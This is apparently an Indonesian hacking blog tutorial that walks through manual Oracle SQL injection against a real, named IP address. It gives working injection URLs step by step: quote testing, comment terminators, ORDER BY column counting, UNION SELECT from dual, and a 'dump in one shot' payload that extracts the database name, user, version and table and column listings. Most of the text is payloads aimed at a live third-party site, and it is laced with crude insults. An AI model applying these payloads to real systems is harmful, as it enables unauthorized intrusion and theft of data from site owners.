Tutorial SQLi - Type ORACLE
Tutorial SQLi Oracle
Oke gayy yahaha gay :v Canda bang,
Oke kembali lagi bersama gue Aqil atau ./numb_404 ya guys... sesuai judul, materi kali ini yang mau gue share ke kalian adalah web SQLi type Oracle.
Tanpa banyak basa-basi lagi mari kita ke tutorialnya 🙏
BAHAN/PERSIAPAN
- HandPhone/Laptop/Pc》terserah
- Kuota/Wifi
- Dork
- Target
- Dh Hackbar
link Dh Hackbar》DH Hackbar
oke lanjut
dork》site:http://1.244.118.63 php?id=
live target》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825&pagemode=view
dan saya mendapatkan web ini dari chall bang dewangga
oke kita lanjut ke DH Hackbar, lalu salin live targetnya 🙇
LANJUT !
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825&pagemode=view
di atas adalah tampilan awal (index)
<<PERINGATAN>>
Poin Poin Penting Dalam SQLi akan gue jelaskan, tentunya jika kita bertemu dilain hari lagi oke !
yups biar paham dan ga salah kaprah
☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆
setelah kita mengetahui indexnya langkah selanjutnya adalah quote atau tanda Petik (')
dibelakang param(angka) kita berikan tanda petik agar kita lihat, adakah yang error dari web tersebut oke next
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'&pagemode=view
dan terlihat banyak warning atau error dalam website tersebut,
seperti yang kita ketahui bahwa tanda petik(') berguna dan berfungsi untuk meng error kan atau melihat error dalam website.
PERINGATAN
tidak semua website mendukung tanda petik atau quote dalam proses injection
setelah kita berikan tanda quote maka langkah selanjutnya adalah memberikan URL BALANCER
contoh url balancer
- --+-
- -- -
- ;%00
- %23
- --
dan masih banyak lagi...
apa itu url balancer ?
yups seperti yang saya bilang, saya akan menjelaskan nya dilain hari jadi santai saja ;) next
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'--+-&pagemode=view
boom dia terlihat normal, seperti yang kita ketahui url balancer berfungsi untuk menormalkan website yang telah diberikan quote atau tanda petik
dan langkah selanjutnya adalah ORDER BY
order by sendiri iyalah untuk menghitung angka column kalo saya pribadi sih lebih dikatakan untuk mencari angka target atau menghitung angka yang di targetkan
normal》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'ORDER BY 2--+-&pagemode=view
dan saya mendapatkan target di angka 2, kenapa demikian?
yups karena angka target adalah angka normalnya sebuah website, dan sebelum sebelum errornya sebuah website.
oke saya contohkan hal yang lebih rinci lagi, misalkan saja
NORMAL》php?id=12' ORDER BY 7--+-
ERROR》php?id=12' ORDER BY 8--+-
maka targetnya ada diangka 7 dikarenakan 8 sudah error, seperti yang saya katakan di atas :: lihat tulisan yang berwarna aqua bro.
lanjut ke AND 0 UNION SELECT
fungsi nya seperti yang saya katakan ketika saya memberikan materi lagi dilain hari maka penjelasannya akan saya bahas
untuk sekarang kita cukup mengetahui kegunaanya》memunculkan angka didalam website, karena disini tema materinya adalah oracle jadi saya langsung ke intinya yaitu jika web type oracle harus menggunakan null, dan null sendiri adalah pengganti dari 1,2,3 next.
oke next
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'AND 0 UNION SELECT null,null--+-&pagemode=view
loh kok error?? yups makanya lihat judul pantek -_ jangan buta map :v
ingat bahwa yang kita kerjakan adalah type oracle maka tambah 1= didepan 0 dan di akhir (sebelum url balancer) berikan from dual
contoh》php?id=12'AND 1=0 UNION SELECT null,null from dual--+-
paham?
next
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select null,null from dual--+-&pagemode=view
terlihat seperti error padahal memang seperti itu adanya, lalu kenapa angkanya tidak keluar?
yups coba print angka atau nama di setiap null yang ada...
》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select './numb_404',null from dual--+-&pagemode=view
terlihat nick saya disana, dikarenakan saya print nick di salah satu null untuk mengetahui angka berapa sebenarnya yang muncul di dalam website.
next》dios.
apa itu dios :: dios artinya dump in one shoot jika di artikan
》translite sendiri lah anj, capek bego :v
oke saya kasih diosnya yaa
dios oracle ::
concat('./numb_404','<IMG Src="https://j.top4top.io/p_20022cdjm0.jpeg" height="190px" width="190px">'||'<br>'||'DB :: '||SYS.DATABASE_name||'<br>'||'USER :: '||user||'<br>'||'VERSION :: '||(SELECT BANNER from V$version where rownum=1)||'<br>'||'<br>'||(select wm_concat('<li>'||table_name||'='||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120))||'<!--'
silahkan tampel di angkat tempat kalian print tadi
jadinya》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select concat('./numb_404','<IMG Src="https://j.top4top.io/p_20022cdjm0.jpeg" height="190px" width="190px">'||'<br>'||'DB :: '||SYS.DATABASE_name||'<br>'||'USER :: '||user||'<br>'||'VERSION :: '||(SELECT BANNER from V$version where rownum=1)||'<br>'||'<br>'||(select wm_concat('<li>'||table_name||'='||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120))||'<!--',null from dual--+-&pagemode=view
yups selamat coli :v, maksudnya selamat tahun baru
》selamat mencoba (BLOOGG!)
sekian dari saya, saya ./numb_404 ft DEWANGGA ft Katak Beracun (karena webnya bang dewangga dijadiin materi :v)
mengucapkan adios!!! peler bapak kau hitam.


0 Komentar:
Posting Komentar
Berlangganan Posting Komentar [Atom]
<< Beranda